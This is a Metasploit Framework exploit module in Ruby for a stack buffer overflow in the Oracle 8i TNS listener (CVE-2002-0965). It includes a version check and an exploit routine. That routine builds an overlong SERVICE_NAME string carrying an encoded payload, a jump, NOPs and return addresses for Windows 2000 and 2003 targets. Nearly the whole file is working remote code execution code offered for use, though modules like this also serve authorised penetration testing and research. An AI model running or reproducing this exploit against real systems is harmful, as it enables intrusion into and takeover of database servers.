99 lines
2.6 KiB
Ruby
99 lines
2.6 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::TNS
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Oracle 8i TNS Listener SERVICE_NAME Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Oracle. When
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sending a specially crafted packet containing a long SERVICE_NAME
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to the TNS service, an attacker may be able to execute arbitrary code.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2002-0965'],
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[ 'OSVDB', '5041'],
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[ 'BID', '4845'],
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[ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/02-0013.shtml' ],
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[ 'URL', 'http://www.oracle.com/technology/deploy/security/pdf/net9_dos_alert.pdf' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 600,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\% ()",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2000)', { 'Offset' => 6396, 'Ret' => 0x60a1e154 } ],
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[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2003)', { 'Offset' => 6392, 'Ret' => 0x60a1e154 }] ,
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jun 12 2002'))
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register_options([Opt::RPORT(1521)], self.class)
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end
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def check
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connect
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version = "(CONNECT_DATA=(COMMAND=VERSION))"
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pkt = tns_packet(version)
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sock.put(pkt)
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sock.get_once
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res = sock.get_once(-1, 1)
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disconnect
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if ( res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/ )
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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buff = rand_text_alpha_upper(target['Offset'] - payload.encoded.length) + payload.encoded
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buff << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
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buff << [0xe8, -550].pack('CV') + rand_text_alpha_upper(400)
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sploit = "(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=#{rhost}(PORT=#{rport}))(CONNECT_DATA=(SERVICE_NAME=#{buff})(CID=(PROGRAM=MSF))))"
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pkt = tns_packet(sploit)
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print_status("Trying target #{target.name}...")
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sock.put(pkt)
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handler
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disconnect
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end
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end
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